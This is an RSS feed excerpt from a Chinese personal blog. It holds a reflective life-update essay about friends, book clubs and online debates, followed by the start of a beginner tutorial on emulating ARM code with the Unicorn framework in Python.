&lt;p&gt;距离上一次提笔，已经过去了两个多月，这段停更期中，若非让我找一个理由出来，我只觉得时间不够，太多需要我去做的事情了，也可能是沉不下心来，将一些零零碎碎的flomo，整理出一篇长文。&lt;/p&gt;
&lt;p&gt;过度的沉迷于文字于书写中，在我看来也并不太好，人是要有具体的生活的，出门、下楼，丢垃圾，看见花花草草，遇见三两好友，沐乎沂，风乎舞雩，咏而归，否则人是会坏掉的。&lt;/p&gt;
&lt;p&gt;但飘荡久了，总要有一些根脚可以落下来，这也是让我觉得有一种紧迫感，是时候了，需要写一点文字来沉淀下生活，如果要我用一句话来概括最近这两个月发生的事情，那苏子的“人有悲欢离合”，怕是再贴切不过了。&lt;/p&gt;
&lt;p&gt;是为本周报序（喂你这都不算周报了吧/doge）&lt;/p&gt;
&lt;p&gt;离&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;那些聊天和对话都被封存在记忆中，也许在未来某个瞬间就会不经意想起，那些深入灵魂的碰撞以及鼓励和关怀，在我胡乱对这个世界进行猜想时总有领路者告诉我，“是的，你的猜想没错”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;—— 摘录自cloris的离职贴中我最喜欢的一句话&lt;/p&gt;
&lt;p&gt;第一次认识cloris，是在一次烧脑的剧本杀，参见&lt;a href=&quot;https://rayepeng.net/weekpost14&quot;&gt;周报14 台风天，剧本杀与彩虹&lt;/a&gt;，许是一种巧合+缘分，那时我刚认识文杰不久，被他临时拉过去打《死者在幻夜中醒来》，当时还没意识到这个本有多么恐怖，直到体验了将近6、7个小时的烧脑推理之后，CPU已经宕机了，不过这是后话。&lt;/p&gt;
&lt;p&gt;刚被拉进群就看到了和我头像一模一样，对都是《国王排名》的波吉王子，DM还在群里Q我们说分不清哈哈哈，当然这俩头像日后还将被朋友们调侃无数次，这也是后话不提。&lt;/p&gt;
&lt;p&gt;同样喜欢追动漫，看书，参加读书会，一次偶然的契机，发现同样都喜欢玩独立游戏~！那次在食堂吃饭，我俩聊了好久的独立游戏，《cocoon》《杀戮尖塔》《grils》《巴别塔圣歌》《邪恶冥刻》《饥荒》《缺氧》。&lt;/p&gt;
&lt;p&gt;我从来没有找到过一个同样这么喜欢独立游戏的人，一时引为知己。&lt;/p&gt;
&lt;p&gt;除此之外，她身上的标签还有很多：&lt;/p&gt;
&lt;p&gt;喜欢参加公益、喜欢探索未知、热爱数学、桌游、喜欢玩独立游戏、并梦想成为独立游戏制作人、喜欢阅读、喜欢探讨历史、思考未来、科技的发展。&lt;/p&gt;
&lt;p&gt;这个世界很大，到处是未知之境，她好像那个捡贝壳的小女孩，会仔细挑选，收集想要的贝壳，观察其纹理，思考其形成，并梦想着有朝一日制作出一个完美无瑕的贝壳。&lt;/p&gt;
&lt;p&gt;上周四看到她的离职帖，内心中多少有些遗憾，细数下来，虽认识不到一年，但却觉早已熟识。曾经多少次我也会想，如果那一天真的到来，我会怎么去书写我的离职帖呢，我想感谢好多的人，人从来都不是孤立的，是社会关系的总和。&lt;/p&gt;
&lt;p&gt;而她也如此做了，看着那么多名字，其中有一些是共同的朋友，更多的还是她来到深圳后所结识的伙伴。人是要花很长世界才能学会感恩的，万事万物的颜色，朋友们的热情，无一不是豪华的天宠。&lt;/p&gt;
&lt;p&gt;祝好~！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXJYUwwNW98r3gkTmzfASvqmQLrWQCvUvb7KUSucxDrfK.jpeg&quot; alt=&quot;2754611a17439bc7977755189dfae25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;合&lt;/p&gt;
&lt;p&gt;连续两个月，读书会基本做到了每个周末都有一次，好多公司内外的书友们积极报名分享，甚至一度让我觉节奏太快了，看书跟不上。&lt;/p&gt;
&lt;p&gt;从北魏的兰陵长公主之死去探索古代女性的法律地位《公主之死》；&lt;/p&gt;
&lt;p&gt;追随钱老的脚步，思考汉唐宋明清各朝代的政治制度得失《中国历代政治得失》；&lt;/p&gt;
&lt;p&gt;7位朝圣者，一起前往海伯利安星球，讲述自己与伯劳的故事，解开背后的真相《海伯利安》；&lt;/p&gt;
&lt;p&gt;从童年动漫神作EVA聊起，思考存在主义的本质，讨论人类是否应该补完《EVA与存在主义》；&lt;/p&gt;
&lt;p&gt;还有诸如详细讲解游戏策划的工作《游戏造梦师》、哈佛公正课《正义》与《技术陷阱》；&lt;/p&gt;
&lt;p&gt;虽然不是每期都去参加了，但是基本感兴趣有时间都会去，但随着参加的次数变多，我内心也逐渐有了一些困惑，报名分享的人多固然好，但有时候形式胜过了质量，单位时间的收益反倒降低了&lt;/p&gt;
&lt;p&gt;曾经我是很喜欢读书会的氛围的，每次参加完之后，总给我一种宿醉感，这种感觉，并不是酒精等外物刺激带来的，那种外物的冲击属于有点难受，这是一种精神上的宿醉感。&lt;/p&gt;
&lt;p&gt;它在我的脑海中不断回荡，让我仔细咂摸，品味，感受到和他人思想碰撞带来的灵感。&lt;/p&gt;
&lt;p&gt;更重要的是，读书会更多的是反映一个人怎么去看书，怎么去讲书，如果纯粹是书中的内容堆砌，那换一个人来讲效果其实没什么两样。&lt;/p&gt;
&lt;p&gt;上上周（也不记得具体是哪天了毕竟停太久了），参加了一场分享《尤利西斯》的读书分享会。本来我对于这本书的期待是挺高的，敢于分享意识流作品的人毕竟很少，这本书的作者又是可以和伍尔夫齐名的意识流派作家。&lt;/p&gt;
&lt;p&gt;只是可惜，分享人似乎全然没有讲述自己读这本书的体验，而只是把这本书的相关内容介绍了一遍，让我多少有点大失所望。&lt;/p&gt;
&lt;p&gt;事后与其沟通，他给出的理由居然冠冕堂皇，说“我读这这本书的体验是我非常私密的，我讲不出来，也不知道怎么讲”，那我还来听你讲个锤子tmd /doge。&lt;/p&gt;
&lt;p&gt;也许并不是每一场读书会都值得参与，并不是每一本书都有其分享的价值，专注于自身的读书体验才是最好的。&lt;/p&gt;
&lt;p&gt;欢&lt;/p&gt;
&lt;p&gt;7月3日，入职三周年了，我写下了这段话&lt;/p&gt;
&lt;p&gt;今天才意识到已经在我司待满了三年。&lt;/p&gt;
&lt;p&gt;喜欢陈丹青说过的一句「你这个人，你以为你了解自己？」没有这些外物的提醒，你根本意识不到的，原来时间真的可以过这么快，前一秒仿佛还在做自我介绍，后一秒已经开始要准备汇报材料了。&lt;/p&gt;
&lt;p&gt;如果算上实习的时间，我来到深圳已经四年了，20年4月刚结束在克拉玛依的行程，5月便独自一人南下深圳，至今还记得那天的太阳真tm热，以至于后来读到《长安的荔枝》中写到李德善第一次来到广州，「浑身冒汗，如蚂蚁附体一般」，简直不要太真实。&lt;/p&gt;
&lt;p&gt;幸好这三年来，除去专注于本职工作之外，那些闲暇的独属于我的时光，总算是做了一点事情：上了三次乐问的头条，用心写的回答能帮助到很多人，希望今年能冲个千赞；坚持了一年的蓝信封活动，写了11封信，和远方的留守儿童互相倾诉，也收到了公益活动的纪念礼品；喜欢上了打羽毛球，打断了好多根65的线；去年重新开始写博客了，累积了50多篇文章；前年微信读书时长已经破1000，希望今年能破2000；认识了一大群喜欢读书的书友们，做过了三次读书分享，之后还想分享《理想国》；喜欢上了摄影，开始留心身边的一草一木；以及还有很多想做的事情……&lt;/p&gt;
&lt;p&gt;最后，以我的博客签名做结吧 ，「且趁身闲未老，尽放我、些子疏狂」&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTV3efdZLDVhMbaQsoAQrgCjtvs46HfSsEHoUJgA9qRqg.jpeg&quot; alt=&quot;967944014a369509c0250c0ca0370f&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZWmFKzmFTjm671npr8EpYirjhRFy3uSqfYgevvHDJfXb.jpeg&quot; alt=&quot;e3b4cb905432ec167930aca2b3d69e9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZX7Ygz3aiTYC3Wfa9Dc1tabZ48YmYEYNiJ1EbTVcxWfF.jpeg&quot; alt=&quot;cf9e6020dd3053a9eba7ba92dfd0bdd&quot; /&gt;&lt;/p&gt;
&lt;p&gt;悲&lt;/p&gt;
&lt;p&gt;随着认识的朋友越来越多，不可避免的，虽然我认识的很多很多人，都非常友好，但总有那么几颗老鼠屎，玷污了生活这碗汤，每每这个时候，我就想到在《抬头看二十九次月亮》中的一段话&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们真的不需要那么多朋友，有些人光是遇见就已经很折寿了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmX43sk3fJLSwv48mimtZaBKqGpY81upuPxeDceSuGEtuX.jpeg&quot; alt=&quot;2ab3183f1670264778c9df5e1afaaad&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQJe5ZCPPqs73Znbmcw62dNTu2DRg8kQ9bC936rJXisoz.jpeg&quot; alt=&quot;45a0ec5a9048ff942fc36e6415a7bb0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其次就是微信群聊吹水聊天的时间挤占太多了，随着参加活动越来越多，认识的人也越来越多，加上enfj的个性使然，越来越喜欢和人争论，本来在读书会里，我觉得争论是一种很自然的事情，也并非网上的杠精，大家都是理性的表达自己的一些思考，所以很喜欢这种氛围&lt;/p&gt;
&lt;p&gt;但不可避免的，就有各种引战、男女对立、最让我讨厌的还是动不动就喜欢嘲讽国内男性，说什么和国外的客户谈合作人家都是从健身房过来的诸如此类国外的月亮更圆的说法，着实让人觉得有些无语凝噎。&lt;/p&gt;
&lt;p&gt;毕竟总有那么一群人在追求者所谓的认知觉醒，张口闭口奇门遁甲，推背图，河图洛书诸如此类，看了两三篇营销号文章，对于《道德经》还一知半解，看一本书连最基础的概念都弄不清楚，还要上纲上线，无限放大，对于这些人，我还是选择回避吧。&lt;/p&gt;
&lt;p&gt;另外附上一些思考同时还有怼人的flomo记录&lt;/p&gt;
&lt;p&gt;怼“所谓写日常生活不好看”的说法&lt;/p&gt;
&lt;p&gt;不知道为什么，最近开始沉迷于在微信群和各路人争论观点，这其中自然有我觉得有问题的，比如所谓文似看山不喜平，某人说你看红楼梦写日常生活，你看的下去吗，甚至还有应着，连声点头称是&lt;/p&gt;
&lt;p&gt;于是我就看不下去了，《我的母亲做保洁》《我在北京送快递》这类记录日常点滴的书籍，难道也看不下去吗，对于我们来说这些日常也很平凡，但就是给我们一种不一样的体验，让我们知道原来在所谓苟且的生活中，也有人在努力生活着，人生也不是荒谬的诸如此类&lt;/p&gt;
&lt;p&gt;所以我是一直反对一杆子打死某个事情的，这样对于思考来说当然很简单，很偷懒，也很省事，但我还是要说，分类讨论是必须得，在数学上，你只有不断的分类，不断地排除，正如福尔摩斯所说，当你把一切不可能都排除掉，剩下的不管多么荒唐才是真正的结论，但关键是你要去穷尽所有的可能性，而不是一味地，啊非A即B，非黑即白，非死即生，人哪有那么简单，用一句话就能简单概括&lt;/p&gt;
&lt;p&gt;思考“电子书是否会成为主流”&lt;/p&gt;
&lt;p&gt;必须得系统总结一下我认为电子书为什么会是主流，摸鱼打字中&lt;/p&gt;
&lt;p&gt;书的作用是什么，书是人类文明进步的阶梯，历史上西方文艺复兴时期的兴盛，很大一部分原因是古登堡印刷机大大促进了知识的传播，打破了教会对于知识的垄断，从这一点上来说，纸质书的诞生和快速传播有其必然性和历史使命&lt;/p&gt;
&lt;p&gt;但正如马克思所说的当生产力的发展达到了现有生产关系无法适应的程度时，生产关系就会成为生产力进一步发展的障碍。纸质书作为传递人类文明的载体，也遵循着类似的规律，在极大促进人类文明传播的过程中，人类文明本身也在不断地沉淀，肉眼可见的纸质书从几页的小册子逐步发展为越来越厚的大部头，此时纸质书的形式已经明显无法承载人类文明成果了，更遑论其查询、印刷、仓储、传播等成本&lt;/p&gt;
&lt;p&gt;其余所谓纸质书更有感觉，阅读更快，个人偏好等等，均属于小众群体的爱好罢了（我且不追究喜欢纸质书的人究竟是不是叶公好龙吧/手动狗头），毕竟21世纪还有人坚持信仰君主，但这终究无法阻碍民主成为主流，电子书完全取代纸质书也终究只是时间问题罢了&lt;/p&gt;
&lt;p&gt;怼“所谓某人觉得的23年最佳书籍《信号与噪声》”&lt;/p&gt;
&lt;p&gt;《信号与噪声》第一眼看这本书其实我是不太感冒的，因为看到这种书，尤其是外国作者，再加上xx时报推荐，什么必读、什么榜单的，属于是buff叠满了，但在我看来每一条都可以是我不读的理由&lt;/p&gt;
&lt;p&gt;但我还是耐下性子，毕竟没有读过就没有评价的权利，先花了两个小时左右快速翻了一下，不得不说作者的语言是真的很啰嗦，很多观点在我看来也就是浅尝辄止，如要不断收集信息，如预测和预言的区别，如模型过拟合等等&lt;/p&gt;
&lt;p&gt;对于没有接触过这些理论的人来说，或许确实值得一读吧，但在我看来有更好的这类科普书可以作为替代&lt;/p&gt;
&lt;p&gt;说了这么多诋毁这本书的话，但我还是想推荐一下，因为我在快速读完之后也忍不住去回味下其中的内容，特别是关于德州的打法，作者写的还是很有意思的（笑）&lt;/p&gt;
&lt;p&gt;信号是什么，噪声是什么，作者并没有一开始给出完整的定义，害的我找了半天，终于找到了他埋藏的隐秘，“信号是统计或预测问题背后真相的表征”&lt;/p&gt;
&lt;p&gt;这个定义我是接受的，因为它让我想起了本征向量（也叫特征向量），这个在数据统计中是有可以被拟合出来的，而噪声，作者称为“容易被误认作信号的随机模型“，这一点我觉得也没多大问题，如果了解过定性与半定量物理学分析，就能知道物理学家门有时候宁愿牺牲准确性，也要去找到一条能够满足特征的拟合曲线了&lt;/p&gt;
&lt;p&gt;如果作者直接把这俩定义摆出来，并着重去叙述，我个人认为这本书的评分还可以再上升一点。&lt;/p&gt;
&lt;p&gt;最后，这本书的作者强调了一点“本书是关于预测的，而不是关于如何预测的”，作者所能提供的就是从各种已经发生或者可能将要发生的事情中，去梳理辨别信号、噪声（好吧其实他连这一点做的也不够好），因此，这本书更多的是需要你自己来思考了，作者基本没给你什么帮助，最多是给了你一些可供思考的案例&lt;/p&gt;
&lt;p&gt;怼“有人觉得三毛关于读书一句话是扯淡”&lt;/p&gt;
&lt;p&gt;“读书多了，容颜自然改变。许多时候，自己可能以为许多看过的书籍都成过眼烟云，不复记忆，其实他们仍是潜在的。在气质里，在谈吐上，在胸襟的无涯。当然，也能显露在生活和文字中。”&lt;/p&gt;
&lt;p&gt;说实话我一直都很喜欢三毛的这句话，但是上次群里有人数这是扯淡，还说你在大学不喜欢的专业学了就是白学&lt;/p&gt;
&lt;p&gt;我很反对这种光靠吐槽情绪的说法，&lt;/p&gt;
&lt;p&gt;我记起来，我接触的第一本书是一套连环画，但那其中的内容我早已忘却，你说有什么意义吗？确实没有，但我没看那套书，会和现在的我有些许不同吗？我也不知道。但是我愿意相信这是有不同的，可能这就是一个意义吧&lt;/p&gt;
&lt;p&gt;意义到底在哪里？意义只存在于那一瞬间，那一瞬间你看到了，但是他就过去了&lt;/p&gt;
&lt;p&gt;怼“所谓康有为的评价”&lt;/p&gt;
&lt;p&gt;动不动就有人卖弄，说什么看历史人物，只盯着裤裆里那点事看，不看他xxxxx之类的句式，都可以成为模版套用了&lt;/p&gt;
&lt;p&gt;我对康有为的评价：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;那个短视频的观点片面，这个没毛病，刻意只提那点事&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;涉及到实际对康有为的评价，这个很复杂，评价角度是多方面的（思想/学术/政治/阶级/实际行动/不同年龄阶段的主张等等），从马克思唯物主义史观的角度，他早期的一系列主张如变法思想、发展实业、君主立宪等在当时都属于有进步意义的，但人总会受限于自己的阶级，通俗来说就是屁股决定脑袋，他骨子里代表的还是士大夫地主阶层，保皇派，因此他之后的种种举动，如密谋刺杀孙文，鼓吹复辟等等，属于是开倒车了，被时人骂为封建余孽，生活作风问题被指责也就不足为奇了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后，至少从我个人最朴素的角度来说，我不否定他的功绩，但我对这人没啥好感（&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;怼“所谓马克思唯物史观就是循环论证”&lt;/p&gt;
&lt;p&gt;这个我真的服了，所谓群里某个“田老师”，就只会质疑无限杠，那你倒是说说自己觉得哪里不对啊&lt;/p&gt;
&lt;p&gt;关于驳斥马克思唯物主义史观是「循环论证」&lt;/p&gt;
&lt;p&gt;首先你要区分下什么是循环论证，循环论证举例比如“我说话是真的，因为我很诚实”，“因为很诚实，所以我说话很真”，循环论证的本质是没有加入独立的论据来辅助，而唯物史观显然不是循环论证这么简单。&lt;/p&gt;
&lt;p&gt;然后再来看你说的，&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;「他怎么就代表大地主的利益了」，他当然代表大地主的利益，这是从他的言行举止，他当时的主张等一系列论据推导出来的，这是和当时的革命党人有本质区别的，所谓「大地主」这个名字只不过是用来区分一下，但归根结底你不能否认他的阶级和他代表的利益群体就是有局限性的，是和另外的群体不同的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;「怎么就是历史倒车了」，可能是我没表述清楚，在辛亥革命成功后，民主已经是当时社会主流共识，复辟已经是不可能的，但他依然鼓吹复辟，谋害革命党人，这是和当时主流思潮相违背的，这你总不能否认吧，这难道还不够说明是开历史倒车吗（不需要关注复辟的结果，因为复辟肯定失败）。就好比你现在想回到封建君主制，那你显然就是在开历史倒车，并不需要过个十几年等结果出来才能说明这点。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;「具体分析君主立宪和保皇，为什么中国不行」，那这又是另一个话题了，得放到辛亥革命之前来讨论，在晚晴大变局的时代，每一种思想都是有其价值的，这我也不否认，此时他的主张用马克思唯物主义史观来看也是值得肯定的，至于为啥中国不行，那只能说是晚清自己作死了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;思考“悲剧和喜剧谁更伟大”&lt;/p&gt;
&lt;p&gt;悲喜剧的谁更胜一筹早已有论断，我也驳不倒这个，但我不喜欢人云亦云，几乎所有人都承认喜剧的内核都是悲剧，也承认悲剧才是最伟大的，否则为何茨威格偏偏要为斯科特队写下《伟大的悲剧》呢？能举出的例子实在是太多了&lt;/p&gt;
&lt;p&gt;但我还是要想，虽然悲剧的如此伟大，但我想创作者的本意并不是非要为了写悲剧而写悲剧，开头一定是以喜剧的方式呈现，再毁灭之，再以喜剧方式呈现，再毁灭之，如此循环。可反过来，为什么不能是先以悲剧的方式呈现，再以喜剧的灵魂拯救之呢？只能说是人的底色是悲伤的，人不愿意去相信有美好的结局。不然为何孔子老是要说，「道不行，乘桴浮于海」。可他真的做了吗，不见得，「滔滔者天下皆是也，而谁以易之」，坏人坏事就像洪水一样，谁又能改变呢？这足够悲剧了吧，足够让人痛心了吧。但孔子还是要说「天下有道，丘不与易也」，这位「晃晃如丧家之犬」的老头子，依然演绎着乱世中独属于他的一场喜剧。&lt;/p&gt;
&lt;p&gt;最伟大的喜剧，首推卓别林的《摩登时代》吧，当然可以说这喜剧的内核也还是反映了资本主义时代下的工人的悲剧，但在这部伟大的作品中，依然能让观众在经济萧条的黑暗中，恢复对生活的信心， 卓别林在夸张和荒诞中演绎真实，在嘲弄与逗乐中带给人希望和力量。&lt;/p&gt;
&lt;p&gt;就连我在开头中写到的茨威格，他记述斯科特冲击南极点失败的悲剧，难道其目的就是让后人再不去探寻地球冰川的奥秘了吗？不见得吧，这个伟大的悲剧，不断激励着一群人，他们想穿越浩瀚无垠的雪原，想见识极地独一份的极昼和极夜，想让自己国家的国旗永远矗立在南极点之上，从来没有人会因为悲剧而停下自己的脚步。&lt;/p&gt;
&lt;p&gt;悲喜剧的论断我终究无力反驳，但我想这两者本就是密不可分的，「我将让它成为融合物：就让我们叫它悲喜剧吧。我不认为一贯称呼一部既有国王又有神明的剧为戏剧是恰当的。你怎么想？既然这剧里也有奴隶，我就称它为悲喜剧好了」&lt;/p&gt;
&lt;p&gt;一些随笔记录&lt;/p&gt;
&lt;p&gt;关闭了哗哗响的水龙头，再将刷子，洗干净的抹布晾在一边，擦干净湿漉漉的手掌，然后抹去眼角的一滴汗，我坐下来，拿起手机记录这一次清洁中的想法。&lt;/p&gt;
&lt;p&gt;我的睡眠不算太好，偶发性失眠，生物钟很固定，午睡起来之后，有一种怅然若失的感觉，半掩的窗帘一角，透出一道光线，此时才发现外面的天气甚是晴好，似乎是仗了好风好日的胆子，我开始了这次的大扫除。&lt;/p&gt;
&lt;p&gt;曾经是每个周末都会做一些简单的清洁，六祖慧能所写的「本来无一物，何处惹尘埃」境界我是无法达到的，书桌上，《南北归一》《女性是一束光》《世界上为什么要有图书馆》这几本书还未完全看完，装在包里的相机，xbox游戏里，显示器，还有真吃灰许久的switch，每一件都是我曾心仪的事物，想起曾经收到它们，都装在崭新发亮的盒子里，带给我或是欢乐或是思考或是趣味，难以想象我的生活离开了它们会如何，也许神秀所写的「时时勤拂拭，勿使惹尘埃」才是我们生活的最真实写照。&lt;/p&gt;
&lt;p&gt;擦瓷砖的时候，恍惚间才意识到，原来瓷砖的颜色本就是那么洁白无瑕，只因沾染了旧物，失去了其原本颜色，那些未见过原先洁白颜色的，竟以为现在的颜色才是正常的。眼睛里染上了蒙尘，自然看什么都带点滤镜。我奋力洗去最犄角旮旯的污垢，开始痛骂自己为什么每天都视若无睹，好在我也不在乎时间，不在乎用了多少水，完成我想要的工作就好，独处的意义就体现出来了，无需有太多顾虑，紧赶慢赶，做到一半半途而废也不是不行，想到这，压力顿绝轻松许多。&lt;/p&gt;
&lt;p&gt;曾经看到 one・一个 app 上的一篇文章，摘录了一句如下：&lt;/p&gt;
&lt;p&gt;「我也只有这么些本事，收拾屋子，读几本书，再写下一些不重要的文字，日子天天过，在自己眼前这片小天地里怡然自得，我花光了所有力气」&lt;/p&gt;
&lt;p&gt;花光所有力气倒不至于，但做点事情总是很开心的，且乐生前一杯酒，喝了，乐了，再说！&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Unicorn 模拟执行工具使用</title><link>https://rayepeng.net/posts/unicorn-%E6%A8%A1%E6%8B%9F%E6%89%A7%E8%A1%8C%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/unicorn-%E6%A8%A1%E6%8B%9F%E6%89%A7%E8%A1%8C%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/</guid><pubDate>Sat, 18 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Unicorn 模拟执行工具使用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSdeMby6JbUMe4GymU6VnJPew4JxUBQTvXaMRCLr3UprN.png&quot; alt=&quot;unicorn模拟&quot; /&gt;&lt;/p&gt;
&lt;p&gt;认识模拟执行&lt;/p&gt;
&lt;p&gt;我们很多时候都喜欢用真机来调试，因为真机环境是最好的，但有时候我们找不到一个真机环境，或者环境很难复现（比如路由器分析等），此时自然而然就会想到模拟器，类似Windows上的夜神模拟器，Linux的qemu模拟器&lt;/p&gt;
&lt;p&gt;但是模拟器还是存在一定的局限性，比如夜神模拟器其实是只能运行x86_64的指令集，此时模拟执行框架就应运而出了。&lt;/p&gt;
&lt;p&gt;Unicorn 就是一款非常优秀的跨平台模拟执行框架，该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, &amp;amp; X86 (include X86_64)等指令集的原生程序。&lt;/p&gt;
&lt;p&gt;使用unicorn&lt;/p&gt;
&lt;p&gt;我比较喜欢开门见山地直接演示代码执行，安装的话比较简单，pip install就好&lt;/p&gt;
&lt;p&gt;那么在使用unicorn的过程中，需要有几个步骤：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;step1: &lt;code&gt;mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)&lt;/code&gt; 初始化一个虚拟机，选择你的指令集和架构&lt;/li&gt;
&lt;li&gt;step2: &lt;code&gt;mu.mem_map(ADDRESS, 2 * 0x10000)&lt;/code&gt; 映射一段内存区域&lt;/li&gt;
&lt;li&gt;step3: &lt;code&gt;mu.mem_write(ADDRESS, ARM_CODE)&lt;/code&gt; 往内存区域中写入一段代码&lt;/li&gt;
&lt;li&gt;step4: &lt;code&gt;mu.reg_write&lt;/code&gt; 设置寄存器的值，即运行代码上下文的环境&lt;/li&gt;
&lt;li&gt;step5: &lt;code&gt;mu.emu_start&lt;/code&gt; 开机模拟&lt;/li&gt;
&lt;li&gt;step6: 监控运行过程中的状态，比如单条指令执行结果，寄存器值的变化，类似gdb调试一样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;了解了上述过程，我想模拟执行的大致流程就出来了，如下是实际运行一段代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from unicorn import *
from unicorn.arm_const import *
ARM_CODE   = b&quot;\x37\x00\xa0\xe3\x03\x10\x42\xe0&quot;
 mov r0, 0x37;
 sub r1, r2, r3
 Test ARM
 
 callback for tracing instructions
def hook_code(uc, address, size, user_data):
    print(&quot;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x%x, instruction size = 0x%x&quot; %(address, size))
 
def test_arm():
    print(&quot;Emulate ARM code&quot;)
    try:
         Initialize emulator in ARM mode
        mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB)
 
         map 2MB memory for this emulation
         uc_mem_map 映射的内存 address和size都要和0x1000对齐
        ADDRESS = 0x10000
        mu.mem_map(ADDRESS, 2 * 0x10000)
        mu.mem_write(ADDRESS, ARM_CODE)
 
        mu.reg_write(UC_ARM_REG_R0, 0x1234)
        mu.reg_write(UC_ARM_REG_R2, 0x6789)
        mu.reg_write(UC_ARM_REG_R3, 0x3333)

         hook UC_HOOK_CODE 是指令级别的hook
        mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
         emulate machine code in infinite time
        mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE))
        r0 = mu.reg_read(UC_ARM_REG_R0)
        r1 = mu.reg_read(UC_ARM_REG_R1)
        print(&quot;&amp;gt;&amp;gt;&amp;gt; R0 = 0x%x&quot; % r0)
        print(&quot;&amp;gt;&amp;gt;&amp;gt; R1 = 0x%x&quot; % r1)
    except UcError as e:
        print(&quot;ERROR: %s&quot; % e)

test_arm()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如上代码，我们想要模拟执行一段 arm 的代码，当然代码很简单，你可以一眼就看出运行结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov r0, 0x37
sub r1, r2, r3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们要做的就是按照 step1~step6 的过程来编写代码，然后这里重点讲一下是如何监控调试的&lt;/p&gt;
&lt;p&gt;Unicorn 提供了指令级别的hook，只需要编写回调的函数，就能监控上下文&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; callback for tracing instructions
def hook_code(uc, address, size, user_data):
    print(&quot;&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x%x, instruction size = 0x%x&quot; %(address, size))
         

... 省略代码
		 hook UC_HOOK_CODE 是指令级别的hook
        mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后我们读取执行完这段代码后的寄存器结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ python unicorn_t2.py
Emulate ARM code
&amp;gt;&amp;gt;&amp;gt; Tracing instruction at 0x10000, instruction size = 0x4
&amp;gt;&amp;gt;&amp;gt; R0 = 0x37
&amp;gt;&amp;gt;&amp;gt; R1 = 0x3456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unicorn能做什么？&lt;/p&gt;
&lt;p&gt;既然用了如此强大的模拟执行框架，那么我们就可以用来… 写汇编！&lt;/p&gt;
&lt;p&gt;笑死，以前我想模拟跑一个x86或者arm汇编的时候，还会为环境模拟而头疼，此时有了unicorn，那就可以很轻松地写任何语言的汇编了嘛！&lt;/p&gt;
&lt;p&gt;比如我们用arm来写一个计算斐波那契数列的汇编，学习一下arm的指令&lt;/p&gt;
&lt;p&gt;三个寄存器就够了，互相做加法，最后的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.global main
main:
    MOV R0, 10          // 设置斐波那契数列的长度为10
    MOV R1, 0           // 初始化第一个斐波那契数为0
    MOV R2, 1           // 初始化第二个斐波那契数为1
loop:
    CMP R0, 0           // 检查计数器是否为0
    BEQ end              // 如果计数器为0，则跳转到end
    ADD R3, R1, R2       // 计算下一个斐波那契数
    MOV R1, R2           // 更新第一个斐波那契数为当前第二个斐波那契数
    MOV R2, R3           // 更新第二个斐波那契数为刚计算出的数
    SUB R0, R0, 1       // 计数器减1
    B loop               // 跳转回循环开始处
end:
    // 结束程序
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;arm汇编指令学习&lt;/p&gt;
&lt;p&gt;记录下常见的arm汇编指令如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;MOV&lt;/code&gt;: 数据传输指令。用于将立即数或另一个寄存器的值移动到一个寄存器。例如，&lt;code&gt;MOV R0, 10&lt;/code&gt; 将10移动到寄存器R0。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CMP&lt;/code&gt;: 比较指令。用于比较两个寄存器的值。结果不存储，但影响状态寄存器（设置条件标志）。例如，&lt;code&gt;CMP R0, 0&lt;/code&gt; 比较R0和0。&lt;/li&gt;
